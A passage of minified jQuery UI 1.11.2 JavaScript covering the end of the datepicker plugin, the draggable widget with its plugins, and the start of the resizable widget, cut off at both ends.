t||"isDisabled"!==t&&"getDate"!==t&&"widget"!==t?"option"===t&&2===arguments.length&&"string"==typeof arguments[1]?e.datepicker["_"+t+"Datepicker"].apply(e.datepicker,[this[0]].concat(i)):this.each(function(){"string"==typeof t?e.datepicker["_"+t+"Datepicker"].apply(e.datepicker,[this].concat(i)):e.datepicker._attachDatepicker(this,t)}):e.datepicker["_"+t+"Datepicker"].apply(e.datepicker,[this[0]].concat(i))},e.datepicker=new n,e.datepicker.initialized=!1,e.datepicker.uuid=(new Date).getTime(),e.datepicker.version="1.11.2",e.datepicker,e.widget("ui.draggable",e.ui.mouse,{version:"1.11.2",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"===this.options.helper&&this._setPositionRelative(),this.options.addClasses&&this.element.addClass("ui-draggable"),this.options.disabled&&this.element.addClass("ui-draggable-disabled"),this._setHandleClassName(),this._mouseInit()},_setOption:function(e,t){this._super(e,t),"handle"===e&&(this._removeHandleClassName(),this._setHandleClassName())},_destroy:function(){return(this.helper||this.element).is(".ui-draggable-dragging")?(this.destroyOnClear=!0,void 0):(this.element.removeClass("ui-draggable ui-draggable-dragging ui-draggable-disabled"),this._removeHandleClassName(),this._mouseDestroy(),void 0)},_mouseCapture:function(t){var i=this.options;return this._blurActiveElement(t),this.helper||i.disabled||e(t.target).closest(".ui-resizable-handle").length>0?!1:(this.handle=this._getHandle(t),this.handle?(this._blockFrames(i.iframeFix===!0?"iframe":i.iframeFix),!0):!1)},_blockFrames:function(t){this.iframeBlocks=this.document.find(t).map(function(){var t=e(this);return e("<div>").css("position","absolute").appendTo(t.parent()).outerWidth(t.outerWidth()).outerHeight(t.outerHeight()).offset(t.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete this.iframeBlocks)},_blurActiveElement:function(t){var i=this.document[0];if(this.handleElement.is(t.target))try{i.activeElement&&"body"!==i.activeElement.nodeName.toLowerCase()&&e(i.activeElement).blur()}catch(s){}},_mouseStart:function(t){var i=this.options;return this.helper=this._createHelper(t),this.helper.addClass("ui-draggable-dragging"),this._cacheHelperProportions(),e.ui.ddmanager&&(e.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(!0),this.offsetParent=this.helper.offsetParent(),this.hasFixedAncestor=this.helper.parents().filter(function(){return"fixed"===e(this).css("position")}).length>0,this.positionAbs=this.element.offset(),this._refreshOffsets(t),this.originalPosition=this.position=this._generatePosition(t,!1),this.originalPageX=t.pageX,this.originalPageY=t.pageY,i.cursorAt&&this._adjustOffsetFromHelper(i.cursorAt),this._setContainment(),this._trigger("start",t)===!1?(this._clear(),!1):(this._cacheHelperProportions(),e.ui.ddmanager&&!i.dropBehaviour&&e.ui.ddmanager.prepareOffsets(this,t),this._normalizeRightBottom(),this._mouseDrag(t,!0),e.ui.ddmanager&&e.ui.ddmanager.dragStart(this,t),!0)},_refreshOffsets:function(e){this.offset={top:this.positionAbs.top-this.margins.top,left:this.positionAbs.left-this.margins.left,scroll:!1,parent:this._getParentOffset(),relative:this._getRelativeOffset()},this.offset.click={left:e.pageX-this.offset.left,top:e.pageY-this.offset.top}},_mouseDrag:function(t,i){if(this.hasFixedAncestor&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(t,!0),this.positionAbs=this._convertPositionTo("absolute"),!i){var s=this._uiHash();if(this._trigger("drag",t,s)===!1)return this._mouseUp({}),!1;this.position=s.position}return this.helper[0].style.left=this.position.left+"px",this.helper[0].style.top=this.position.top+"px",e.ui.ddmanager&&e.ui.ddmanager.drag(this,t),!1},_mouseStop:function(t){var i=this,s=!1;return e.ui.ddmanager&&!this.options.dropBehaviour&&(s=e.ui.ddmanager.drop(this,t)),this.dropped&&(s=this.dropped,this.dropped=!1),"invalid"===this.options.revert&&!s||"valid"===this.options.revert&&s||this.options.revert===!0||e.isFunction(this.options.revert)&&this.options.revert.call(this.element,s)?e(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){i._trigger("stop",t)!==!1&&i._clear()}):this._trigger("stop",t)!==!1&&this._clear(),!1},_mouseUp:function(t){return this._unblockFrames(),e.ui.ddmanager&&e.ui.ddmanager.dragStop(this,t),this.handleElement.is(t.target)&&this.element.focus(),e.ui.mouse.prototype._mouseUp.call(this,t)},cancel:function(){return this.helper.is(".ui-draggable-dragging")?this._mouseUp({}):this._clear(),this},_getHandle:function(t){return this.options.handle?!!e(t.target).closest(this.element.find(this.options.handle)).length:!0},_setHandleClassName:function(){this.handleElement=this.options.handle?this.element.find(this.options.handle):this.element,this.handleElement.addClass("ui-draggable-handle")},_removeHandleClassName:function(){this.handleElement.removeClass("ui-draggable-handle")},_createHelper:function(t){var i=this.options,s=e.isFunction(i.helper),n=s?e(i.helper.apply(this.element[0],[t])):"clone"===i.helper?this.element.clone().removeAttr("id"):this.element;return n.parents("body").length||n.appendTo("parent"===i.appendTo?this.element[0].parentNode:i.appendTo),s&&n[0]===this.element[0]&&this._setPositionRelative(),n[0]===this.element[0]||/(fixed|absolute)/.test(n.css("position"))||n.css("position","absolute"),n},_setPositionRelative:function(){/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative")},_adjustOffsetFromHelper:function(t){"string"==typeof t&&(t=t.split(" ")),e.isArray(t)&&(t={left:+t[0],top:+t[1]||0}),"left"in t&&(this.offset.click.left=t.left+this.margins.left),"right"in t&&(this.offset.click.left=this.helperProportions.width-t.right+this.margins.left),"top"in t&&(this.offset.click.top=t.top+this.margins.top),"bottom"in t&&(this.offset.click.top=this.helperProportions.height-t.bottom+this.margins.top)},_isRootNode:function(e){return/(html|body)/i.test(e.tagName)||e===this.document[0]},_getParentOffset:function(){var t=this.offsetParent.offset(),i=this.document[0];return"absolute"===this.cssPosition&&this.scrollParent[0]!==i&&e.contains(this.scrollParent[0],this.offsetParent[0])&&(t.left+=this.scrollParent.scrollLeft(),t.top+=this.scrollParent.scrollTop()),this._isRootNode(this.offsetParent[0])&&(t={top:0,left:0}),{top:t.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:t.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"!==this.cssPosition)return{top:0,left:0};var e=this.element.position(),t=this._isRootNode(this.scrollParent[0]);return{top:e.top-(parseInt(this.helper.css("top"),10)||0)+(t?0:this.scrollParent.scrollTop()),left:e.left-(parseInt(this.helper.css("left"),10)||0)+(t?0:this.scrollParent.scrollLeft())}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var t,i,s,n=this.options,a=this.document[0];return this.relativeContainer=null,n.containment?"window"===n.containment?(this.containment=[e(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,e(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,e(window).scrollLeft()+e(window).width()-this.helperProportions.width-this.margins.left,e(window).scrollTop()+(e(window).height()||a.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):"document"===n.containment?(this.containment=[0,0,e(a).width()-this.helperProportions.width-this.margins.left,(e(a).height()||a.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void 0):n.containment.constructor===Array?(this.containment=n.containment,void 0):("parent"===n.containment&&(n.containment=this.helper[0].parentNode),i=e(n.containment),s=i[0],s&&(t=/(scroll|auto)/.test(i.css("overflow")),this.containment=[(parseInt(i.css("borderLeftWidth"),10)||0)+(parseInt(i.css("paddingLeft"),10)||0),(parseInt(i.css("borderTopWidth"),10)||0)+(parseInt(i.css("paddingTop"),10)||0),(t?Math.max(s.scrollWidth,s.offsetWidth):s.offsetWidth)-(parseInt(i.css("borderRightWidth"),10)||0)-(parseInt(i.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(t?Math.max(s.scrollHeight,s.offsetHeight):s.offsetHeight)-(parseInt(i.css("borderBottomWidth"),10)||0)-(parseInt(i.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relativeContainer=i),void 0):(this.containment=null,void 0)
},_convertPositionTo:function(e,t){t||(t=this.position);var i="absolute"===e?1:-1,s=this._isRootNode(this.scrollParent[0]);return{top:t.top+this.offset.relative.top*i+this.offset.parent.top*i-("fixed"===this.cssPosition?-this.offset.scroll.top:s?0:this.offset.scroll.top)*i,left:t.left+this.offset.relative.left*i+this.offset.parent.left*i-("fixed"===this.cssPosition?-this.offset.scroll.left:s?0:this.offset.scroll.left)*i}},_generatePosition:function(e,t){var i,s,n,a,o=this.options,r=this._isRootNode(this.scrollParent[0]),h=e.pageX,l=e.pageY;return r&&this.offset.scroll||(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),t&&(this.containment&&(this.relativeContainer?(s=this.relativeContainer.offset(),i=[this.containment[0]+s.left,this.containment[1]+s.top,this.containment[2]+s.left,this.containment[3]+s.top]):i=this.containment,e.pageX-this.offset.click.left<i[0]&&(h=i[0]+this.offset.click.left),e.pageY-this.offset.click.top<i[1]&&(l=i[1]+this.offset.click.top),e.pageX-this.offset.click.left>i[2]&&(h=i[2]+this.offset.click.left),e.pageY-this.offset.click.top>i[3]&&(l=i[3]+this.offset.click.top)),o.grid&&(n=o.grid[1]?this.originalPageY+Math.round((l-this.originalPageY)/o.grid[1])*o.grid[1]:this.originalPageY,l=i?n-this.offset.click.top>=i[1]||n-this.offset.click.top>i[3]?n:n-this.offset.click.top>=i[1]?n-o.grid[1]:n+o.grid[1]:n,a=o.grid[0]?this.originalPageX+Math.round((h-this.originalPageX)/o.grid[0])*o.grid[0]:this.originalPageX,h=i?a-this.offset.click.left>=i[0]||a-this.offset.click.left>i[2]?a:a-this.offset.click.left>=i[0]?a-o.grid[0]:a+o.grid[0]:a),"y"===o.axis&&(h=this.originalPageX),"x"===o.axis&&(l=this.originalPageY)),{top:l-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.offset.scroll.top:r?0:this.offset.scroll.top),left:h-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.offset.scroll.left:r?0:this.offset.scroll.left)}},_clear:function(){this.helper.removeClass("ui-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1,this.destroyOnClear&&this.destroy()},_normalizeRightBottom:function(){"y"!==this.options.axis&&"auto"!==this.helper.css("right")&&(this.helper.width(this.helper.width()),this.helper.css("right","auto")),"x"!==this.options.axis&&"auto"!==this.helper.css("bottom")&&(this.helper.height(this.helper.height()),this.helper.css("bottom","auto"))},_trigger:function(t,i,s){return s=s||this._uiHash(),e.ui.plugin.call(this,t,[i,s,this],!0),/^(drag|start|stop)/.test(t)&&(this.positionAbs=this._convertPositionTo("absolute"),s.offset=this.positionAbs),e.Widget.prototype._trigger.call(this,t,i,s)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),e.ui.plugin.add("draggable","connectToSortable",{start:function(t,i,s){var n=e.extend({},i,{item:s.element});s.sortables=[],e(s.options.connectToSortable).each(function(){var i=e(this).sortable("instance");i&&!i.options.disabled&&(s.sortables.push(i),i.refreshPositions(),i._trigger("activate",t,n))})},stop:function(t,i,s){var n=e.extend({},i,{item:s.element});s.cancelHelperRemoval=!1,e.each(s.sortables,function(){var e=this;e.isOver?(e.isOver=0,s.cancelHelperRemoval=!0,e.cancelHelperRemoval=!1,e._storedCSS={position:e.placeholder.css("position"),top:e.placeholder.css("top"),left:e.placeholder.css("left")},e._mouseStop(t),e.options.helper=e.options._helper):(e.cancelHelperRemoval=!0,e._trigger("deactivate",t,n))})},drag:function(t,i,s){e.each(s.sortables,function(){var n=!1,a=this;a.positionAbs=s.positionAbs,a.helperProportions=s.helperProportions,a.offset.click=s.offset.click,a._intersectsWith(a.containerCache)&&(n=!0,e.each(s.sortables,function(){return this.positionAbs=s.positionAbs,this.helperProportions=s.helperProportions,this.offset.click=s.offset.click,this!==a&&this._intersectsWith(this.containerCache)&&e.contains(a.element[0],this.element[0])&&(n=!1),n})),n?(a.isOver||(a.isOver=1,a.currentItem=i.helper.appendTo(a.element).data("ui-sortable-item",!0),a.options._helper=a.options.helper,a.options.helper=function(){return i.helper[0]},t.target=a.currentItem[0],a._mouseCapture(t,!0),a._mouseStart(t,!0,!0),a.offset.click.top=s.offset.click.top,a.offset.click.left=s.offset.click.left,a.offset.parent.left-=s.offset.parent.left-a.offset.parent.left,a.offset.parent.top-=s.offset.parent.top-a.offset.parent.top,s._trigger("toSortable",t),s.dropped=a.element,e.each(s.sortables,function(){this.refreshPositions()}),s.currentItem=s.element,a.fromOutside=s),a.currentItem&&(a._mouseDrag(t),i.position=a.position)):a.isOver&&(a.isOver=0,a.cancelHelperRemoval=!0,a.options._revert=a.options.revert,a.options.revert=!1,a._trigger("out",t,a._uiHash(a)),a._mouseStop(t,!0),a.options.revert=a.options._revert,a.options.helper=a.options._helper,a.placeholder&&a.placeholder.remove(),s._refreshOffsets(t),i.position=s._generatePosition(t,!0),s._trigger("fromSortable",t),s.dropped=!1,e.each(s.sortables,function(){this.refreshPositions()}))})}}),e.ui.plugin.add("draggable","cursor",{start:function(t,i,s){var n=e("body"),a=s.options;n.css("cursor")&&(a._cursor=n.css("cursor")),n.css("cursor",a.cursor)},stop:function(t,i,s){var n=s.options;n._cursor&&e("body").css("cursor",n._cursor)}}),e.ui.plugin.add("draggable","opacity",{start:function(t,i,s){var n=e(i.helper),a=s.options;n.css("opacity")&&(a._opacity=n.css("opacity")),n.css("opacity",a.opacity)},stop:function(t,i,s){var n=s.options;n._opacity&&e(i.helper).css("opacity",n._opacity)}}),e.ui.plugin.add("draggable","scroll",{start:function(e,t,i){i.scrollParentNotHidden||(i.scrollParentNotHidden=i.helper.scrollParent(!1)),i.scrollParentNotHidden[0]!==i.document[0]&&"HTML"!==i.scrollParentNotHidden[0].tagName&&(i.overflowOffset=i.scrollParentNotHidden.offset())},drag:function(t,i,s){var n=s.options,a=!1,o=s.scrollParentNotHidden[0],r=s.document[0];o!==r&&"HTML"!==o.tagName?(n.axis&&"x"===n.axis||(s.overflowOffset.top+o.offsetHeight-t.pageY<n.scrollSensitivity?o.scrollTop=a=o.scrollTop+n.scrollSpeed:t.pageY-s.overflowOffset.top<n.scrollSensitivity&&(o.scrollTop=a=o.scrollTop-n.scrollSpeed)),n.axis&&"y"===n.axis||(s.overflowOffset.left+o.offsetWidth-t.pageX<n.scrollSensitivity?o.scrollLeft=a=o.scrollLeft+n.scrollSpeed:t.pageX-s.overflowOffset.left<n.scrollSensitivity&&(o.scrollLeft=a=o.scrollLeft-n.scrollSpeed))):(n.axis&&"x"===n.axis||(t.pageY-e(r).scrollTop()<n.scrollSensitivity?a=e(r).scrollTop(e(r).scrollTop()-n.scrollSpeed):e(window).height()-(t.pageY-e(r).scrollTop())<n.scrollSensitivity&&(a=e(r).scrollTop(e(r).scrollTop()+n.scrollSpeed))),n.axis&&"y"===n.axis||(t.pageX-e(r).scrollLeft()<n.scrollSensitivity?a=e(r).scrollLeft(e(r).scrollLeft()-n.scrollSpeed):e(window).width()-(t.pageX-e(r).scrollLeft())<n.scrollSensitivity&&(a=e(r).scrollLeft(e(r).scrollLeft()+n.scrollSpeed)))),a!==!1&&e.ui.ddmanager&&!n.dropBehaviour&&e.ui.ddmanager.prepareOffsets(s,t)}}),e.ui.plugin.add("draggable","snap",{start:function(t,i,s){var n=s.options;s.snapElements=[],e(n.snap.constructor!==String?n.snap.items||":data(ui-draggable)":n.snap).each(function(){var t=e(this),i=t.offset();this!==s.element[0]&&s.snapElements.push({item:this,width:t.outerWidth(),height:t.outerHeight(),top:i.top,left:i.left})})},drag:function(t,i,s){var n,a,o,r,h,l,u,d,c,p,f=s.options,m=f.snapTolerance,g=i.offset.left,v=g+s.helperProportions.width,y=i.offset.top,b=y+s.helperProportions.height;for(c=s.snapElements.length-1;c>=0;c--)h=s.snapElements[c].left-s.margins.left,l=h+s.snapElements[c].width,u=s.snapElements[c].top-s.margins.top,d=u+s.snapElements[c].height,h-m>v||g>l+m||u-m>b||y>d+m||!e.contains(s.snapElements[c].item.ownerDocument,s.snapElements[c].item)?(s.snapElements[c].snapping&&s.options.snap.release&&s.options.snap.release.call(s.element,t,e.extend(s._uiHash(),{snapItem:s.snapElements[c].item})),s.snapElements[c].snapping=!1):("inner"!==f.snapMode&&(n=m>=Math.abs(u-b),a=m>=Math.abs(d-y),o=m>=Math.abs(h-v),r=m>=Math.abs(l-g),n&&(i.position.top=s._convertPositionTo("relative",{top:u-s.helperProportions.height,left:0}).top),a&&(i.position.top=s._convertPositionTo("relative",{top:d,left:0}).top),o&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h-s.helperProportions.width}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l}).left)),p=n||a||o||r,"outer"!==f.snapMode&&(n=m>=Math.abs(u-y),a=m>=Math.abs(d-b),o=m>=Math.abs(h-g),r=m>=Math.abs(l-v),n&&(i.position.top=s._convertPositionTo("relative",{top:u,left:0}).top),a&&(i.position.top=s._convertPositionTo("relative",{top:d-s.helperProportions.height,left:0}).top),o&&(i.position.left=s._convertPositionTo("relative",{top:0,left:h}).left),r&&(i.position.left=s._convertPositionTo("relative",{top:0,left:l-s.helperProportions.width}).left)),!s.snapElements[c].snapping&&(n||a||o||r||p)&&s.options.snap.snap&&s.options.snap.snap.call(s.element,t,e.extend(s._uiHash(),{snapItem:s.snapElements[c].item})),s.snapElements[c].snapping=n||a||o||r||p)}}),e.ui.plugin.add("draggable","stack",{start:function(t,i,s){var n,a=s.options,o=e.makeArray(e(a.stack)).sort(function(t,i){return(parseInt(e(t).css("zIndex"),10)||0)-(parseInt(e(i).css("zIndex"),10)||0)});o.length&&(n=parseInt(e(o[0]).css("zIndex"),10)||0,e(o).each(function(t){e(this).css("zIndex",n+t)}),this.css("zIndex",n+o.length))}}),e.ui.plugin.add("draggable","zIndex",{start:function(t,i,s){var n=e(i.helper),a=s.options;n.css("zIndex")&&(a._zIndex=n.css("zIndex")),n.css("zIndex",a.zIndex)},stop:function(t,i,s){var n=s.options;n._zIndex&&e(i.helper).css("zIndex",n._zIndex)}}),e.ui.draggable,e.widget("ui.resizable",e.ui.mouse,{version:"1.11.2",widgetEventPrefix:"resize",options:{alsoResize:!1,animate:!1,animateDuration:"slow",animateEasing:"swing",aspectRatio:!1,autoHide:!1,containment:!1,ghost:!1,grid:!1,handles:"e,s,se",helper:!1,maxHeight:null,maxWidth:null,minHeight:10,minWidth:10,zIndex:90,resize:null,start:null,stop:null},_num:function(e){return parseInt(e,10)||0},_isNumber:function(e){return!isNaN(parseInt(e,10))},_hasScroll:function(t,i){if("hidden"===e(t).css("overflow"))return!1;var s=i&&"left"===i?"scrollLeft":"scrollTop",n=!1;return t[s]>0?!0:(t[s]=1,n=t[s]>0,t[s]=0,n)},_create:function(){var t,i,s,n,a,o=this,r=this.options;if(this.element.addClass("ui-resizable"),e.extend(this,{_aspectRatio:!!r.aspectRatio,aspectRatio:r.aspectRatio,originalElement:this.element,_proportionallyResizeElements:[],_helper:r.helper||r.ghost||r.animate?r.helper||"ui-resizable-helper":null}),this.element[0].nodeName.match(/canvas|textarea|input|select|button|img/i)&&(this.element.wrap(e("<div class='ui-wrapper' style='overflow: hidden;'></div>").css({position:this.element.css("position"),width:this.element.outerWidth(),height:this.element.outerHeight(),top:this.element.css("top"),left:this.element.css("left")})),this.element=this.element.parent().data("ui-resizable",this.element.resizable("instance")),this.elementIsWrapper=!0,this.element.css({marginLeft:this.originalElement.css("marginLeft"),marginTop:this.originalElement.css("marginTop"),marginRight:this.originalElement.css("marginRight"),marginBottom:this.originalElement.css("marginBottom")}),this.originalElement.css({marginLeft:0,marginTop:0,marginRight:0,marginBottom:0}),this.originalResizeStyle=this.originalElement.css("resize"),this.originalElement.css("resize","none"),this._proportionallyResizeElements.push(this.originalElement.css({position:"static",zoom:1,display:"block"})),this.originalElement.css({margin:this.originalElement.css("margin")}),this._proportionallyResize()),this.handles=r.handles||(e(".ui-resizable-handle",this.element).length?{n:".ui-resizable-n",e:".ui-resizable-e",s:".ui-resizable-s",w:".ui-resizable-w",se:".ui-resizable-se",sw:".ui-resizable-sw",ne:".ui-resizable-ne",nw:".ui-resizable-nw"}:"e,s,se"),this.handles.constructor===String)for("all"===this.handles&&(this.handles="n,e,s,w,se,sw,ne,nw"),t=this.handles.split(","),this.handles={},i=0;t.length>i;i++)s=e.trim(t[i]),a="ui-resizable-"+s,n=e("<div class='ui-resizable-handle "+a+"'></div>"),n.css({zIndex:r.zIndex}),"se"===s&&n.addClass("ui-icon ui-icon-gripsmall-diagonal-se"),this.handles[s]=".ui-resizable-"+s,this.element.append(n);this._renderAxis=function(t){var i,s,n,a;t=t||this.element;for(i in this.handles)this.handles[i].constructor===String&&(this.handles[i]=this.element.children(this.handles[i]).first().show()),this.elementIsWrapper&&this.originalElement[0].nodeName.match(/textarea|input|select|button/i)&&(s=e(this.handles[i],this.element),a=/sw|ne|nw|se|n|s/.test(i)?s.outerHeight():s.outerWidth(),n=["padding",/ne|nw|n/.test(i)?"Top":/se|sw|s/.test(i)?"Bottom":/^e$/.test(i)?"Right":"Left"].join(""),t.css(n,a),this._proportionallyResize()),e(this.handles[i]).length},this._renderAxis(this.element),this._handles=e(".ui-resizable-handle",this.element).disableSelection(),this._handles.mouseover(function(){o.resizing||(this.className&&(n=this.className.match(/ui-resizable-(se|sw|ne|nw|n|e|s|w)/i)),o.axis=n&&n[1]?n[1]:"se")}),r.autoHide&&(this._handles.hide(),e(this.element).addClass("ui-resizable-autohide").mouseenter(function(){r.disabled||(e(this).removeClass("ui-resizable-autohide"),o._handles.show())}).mouseleave(function(){r.disabled||o.resizing||(e(this).addClass("ui-resizable-autohide"),o._handles.hide())})),this._mouseInit()},_destroy:function(){this._mouseDestroy();var t,i=function(t){e(t).removeClass("ui-resizable ui-resizable-disabled ui-resizable-resizing").removeData("resizable").removeData("ui-resizable").unbind(".resizable").find(".ui-resizable-handle").remove()};return this.elementIsWrapper&&(i(this.element),t=this.element,this.originalElement.css({position:t.css("position"),width:t.outerWidth(),height:t.outerHeight(),top:t.css("top"),left:t.css("left")}).insertAfter(t),t.remove()),this.originalElement.css("resize",this.originalResizeStyle),i(this.originalElement),this},_mouseCapture:function(t){var i,s,n=!1;for(i in this.handles)s=e(this.handles[i])[0],(s===t.target||e.contains(s,t.target))&&(n=!0);return!this.options.disabled&&n},_mouseStart:function(t){var i,s,n,a=this.options,o=this.element;return this.resizing=!0,this._renderProxy(),i=this._num(this.helper.css("left")),s=this._num(this.helper.css("top")),a.containment&&(i+=e(a.containment).scrollLeft()||0,s+=e(a.containment).scrollTop()||0),this.offset=this.helper.offset(),this.position={left:i,top:s},this.size=this._helper?{width:this.helper.width(),height:this.helper.height()}:{width:o.width(),height:o.height()},this.originalSize=this._helper?{width:o.outerWidth(),height:o.outerHeight()}:{width:o.width(),height:o.height()},this.sizeDiff={width:o.outerWidth()-o.width(),height:o.outerHeight()-o.height()},this.originalPosition={left:i,top:s},this.originalMousePosition={left:t.pageX,top:t.pageY},this.aspectRatio="number"==typeof a.aspectRatio?a.aspectRatio:this.originalSize.width/this.originalSize.height||1,n=e(".ui-resizable-"+this.axis).css("cursor"),e("body").css("cursor","auto"===n?this.axis+"-resize":n),o.addClass("ui-resizable-resizing"),this._propagate("start",t),!0},_mouseDrag:function(t){var i,s,n=this.originalMousePosition,a=this.axis,o=t.pageX-n.left||0,r=t.pageY-n.top||0,h=this._change[a];return this._updatePrevProperties(),h?(i=h.apply(this,[t,o,r]),this._updateVirtualBoundaries(t.shiftKey),(this._aspectRatio||t.shiftKey)&&(i=this._updateRatio(i,t)),i=this._respectSize(i,t),this._updateCache(i),this._propagate("resize",t),s=this._applyChanges(),!this._helper&&this._proportionallyResizeElements.length&&this._proportionallyResize(),e.isEmptyObject(s)||(this._updatePrevProperties(),this._trigger("resize",t,this.ui()),this._applyChanges()),!1):!1},_mouseStop:function(t){this.resizing=!1;var i,s,n,a,o,r,h,l=this.options,u=this;return this._helper&&(i=this._proportionallyResizeElements,s=i.length&&/textarea/i.test(i[0].nodeName),n=s&&this._hasScroll(i[0],"left")?0:u.sizeDiff.height,a=s?0:u.sizeDiff.width,o={width:u.helper.width()-a,height:u.helper.height()-n},r=parseInt(u.element.css("left"),10)+(u.position.left-u.originalPosition.left)||null,h=parseInt(u.element.css("top"),10)+(u.position.top-u.originalPosition.top)||null,l.animate||this.element.css(e.extend(o,{top:h,left:r})),u.helper.height(u.size.height),u.helper.width(u.size.width),this._helper&&!l.animate&&this._proportionallyResize()),e("body").css("cursor","auto"),this.element.removeClass("ui-resizable-resizing"),this._propagate("stop",t),this._helper&&this.helper.remove(),!1},_updatePrevProperties:function(){this.prevPosition={top:this.position.top,left:this.position.left},this.prevSize={width:this.size.width,height:this.size.height}},_applyChanges:function(){var e={};return this.position.top!==this.prevPosition.top&&(e.top=this.position.top+"px"),this.position.left!==this.prevPosition.left&&(e.left=this.position.left+"px"),this.size.width!==this.prevSize.width&&(e.width=this.size.width+"px"),this.size.height!==this.prevSize.height&&(e.height=this.size.height+"px"),this.helper.css(e),e},_updateVirtualBoundaries:function(e){var t,i,s,n,a,o=this.options;a={minWidth:this._isNumber(o.minWidth)?o.minWidth:0,maxWidth:this._isNumber(o.maxWidth)?o.maxWidth:1/0,minHeight:this._isNumber(o.minHeight)?o.minHeight:0,maxHeight:this._isNumber(o.maxHeight)?o.maxHeight:1/0},(this._aspectRatio||e)&&(t=a.minHeight*this.aspectRatio,s=a.minWidth/this.aspectRatio,i=a.maxHeight*this.aspectRatio,n=a.maxWidth/this.aspectRatio,t>a.minWidth&&(a.minWidth=t),s>a.minHeight&&(a.minHeight=s),a.maxWidth>i&&(a.maxWidth=i),a.maxHeight>n&&(a.maxHeight=n)),this._vBoundaries=a},_updateCache:function(e){this.offset=this.helper.offset(),this._isNumber(e.left)&&(this.position.left=e.left),this._isNumber(e.top)&&(this.position.top=e.top),this._isNumber(e.height)&&(this.size.height=e.height),this._isNumber(e.width)&&(this.size.width=e.width)},_updateRatio:function(e){var t=this.position,i=this.size,s=this.axis;return this._isNumber(e.height)?e.width=e.height*this.aspectRatio:this._isNumber(e.width)&&(e.height=e.width/this.aspectRatio),"sw"===s&&(e.left=t.left+(i.width-e.width),e.top=null),"nw"===s&&(e.top=t.top+(i.height-e.height),e.left=t.left+(i.width-e.width)),e},_respectSize:function(e){var t=this._vBoundaries,i=this.axis,s=this._isNumber(e.width)&&t.maxWidth&&t.maxWidth<e.width,n=this._isNumber(e.height)&&t.maxHeight&&t.maxHeight<e.height,a=this._isNumber(e.width)&&t.minWidth&&t.minWidth>e.width,o=this._isNumber(e.height)&&t.minHeight&&t.minHeight>e.height,r=this.originalPosition.left+this.originalSize.width,h=this.position.top+this.size.height,l=/sw|nw|w/.test(i),u=/nw|ne|n/.test(i);return a&&(e.width=t.minWidth),o&&(e.height=t.minHeight),s&&(e.width=t.maxWidth),n&&(e.height=t.maxHeight),a&&l&&(e.left=r-t.minWidth),s&&l&&(e.left=r-t.maxWidth),o&&u&&(e.top=h-t.minHeight),n&&u&&(e.top=h-t.maxHeight),e.width||e.height||e.left||!e.top?e.width||e.height||e.top||!e.left||(e.left=null):e.top=null,e},_getPaddingPlusBorderDimensions:function(e){for(var t=0,i=[],s=[e.css("borderTopWidth"),e.css("borderRightWidth"),e.css("borderBottomWidth"),e.css("borderLeftWidth")],n=[e.css("paddingTop"),e.css("paddingRight"),e.css("paddingBottom"),e.css("paddingLeft")];4>t;t++)i[t]=parseInt(s[t],10)||0,i[t]+=parseInt(n[t],10)||0;return{height:i[0]+i[2],width:i[1]+i[3]}},_proportionallyResize:function(){if(this._proportionallyResizeElements.length)for(var e,t=0,i=this.helper||this.element;this._proportionallyResizeElements.length>t;t++)e=this._proportionallyResizeElements[t],this.outerDimensions||(this.outerDimensions=this._getPaddingPlusBorderDimensions(e)),e.css({height:i.height()-this.outerDimensions.height||0,width:i.width()-this.outerDimensions.width||0})},_renderProxy:function(){var t=this.element,i=this.options;this.elementOffset=t.offset(),this._helper?(this.helper=this.helper||e("<div style='overflow:hidden;'></div>"),this.helper.addClass(this._helper).css({width:this.element.outerWidth()-1,height:this.element.outerHeight()-1,position:"absolute",left:this.elementOffset.left+"px",top:this.elementOffset.top+"px",zIndex:++i.zIndex}),this.helper.appendTo("body").disableSelection()):this.helper=this.element},_change:{e:function(e,t){return{width:this.originalSize.width+t}},w:function(e,t){var i=this.originalSize,s=this.originalPosition;return{left:s.left+t,width:i.width-t}},n:function(e,t,i){var s=this.originalSize,n=this.originalPosition;return{top:n.top+i,height:s.height-i}},s:function(e,t,i){return{height:this.originalSize.height+i}},se:function(t,i,s){return e.extend(this._change.s.apply(this,arguments),this._change.e.apply(this,[t,i,s]))},sw:function(t,i,s){return 